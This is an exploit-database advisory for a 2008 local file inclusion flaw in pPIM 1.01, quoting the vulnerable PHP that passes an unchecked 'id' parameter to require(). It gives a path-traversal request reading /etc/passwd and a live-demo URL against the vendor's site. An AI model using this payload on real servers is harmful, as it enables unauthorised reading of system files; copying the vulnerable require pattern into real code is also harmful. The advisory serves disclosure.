pPIM 1.01 (notes.php id) Local File Inclusion Vulnerability

vendor:

pPIM

by:

JosS

7.5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: pPIM

Affected Version From: 01.01

Affected Version To: 01.01

Patch Exists: YES

Related CWE: N/A

CPE: a:phlatline:ppim:1.01

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

pPIM 1.01 (notes.php id) Local File Inclusion Vulnerability

The variable 'id' has been not defined in code and the variable 'id' is sent by the users. The exploit is GET /notes.php?mode=edit&id=[file] and a sample exploit is http://www.localhost.com/notes.php?mode=edit&id=../../../../../../../../../../etc/passwd. A live demo is http://www.phlatline.org/docs/demos/ppim/notes.php?mode=edit&id=../notes.php.

Mitigation:

Input validation should be done to prevent malicious input from being passed to the application.

Source

Exploit-DB raw data:

# pPIM 1.01 (notes.php id) Local File Inclusion Vulnerability
# url: http://www.phlatline.org/docs/files/ppim.zip
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.


description of vulnerability:
-----------------------------------------------
the variable 'id' has been not defined in code 
and the variable 'id' is sent by the users.
-----------------------------------------------

vuln file: notes.php

vuln code:
x:  >...
107: if (isset($_GET["mode"]))

	 {

	  	if ($_GET["mode"]=="edit")

		{

		 if (isset($_GET['id']))

		 {

		  	$notefile = $_GET['id'];

			if ($notefile == "new")

			{

			 $title = "";

			 $notes = "";

			}

			else

			{

			 $temp = "notes/" . $notefile;

			 require($temp);

123:			}
x:  <...
x: }}}

exploit: GET /notes.php?mode=edit&id=[file]
sample (xpl): http://www.localhost.com/notes.php?mode=edit&id=../../../../../../../../../../etc/passwd

live demo:
http://www.phlatline.org/docs/demos/ppim/notes.php?mode=edit&id=../notes.php

# milw0rm.com [2008-10-04]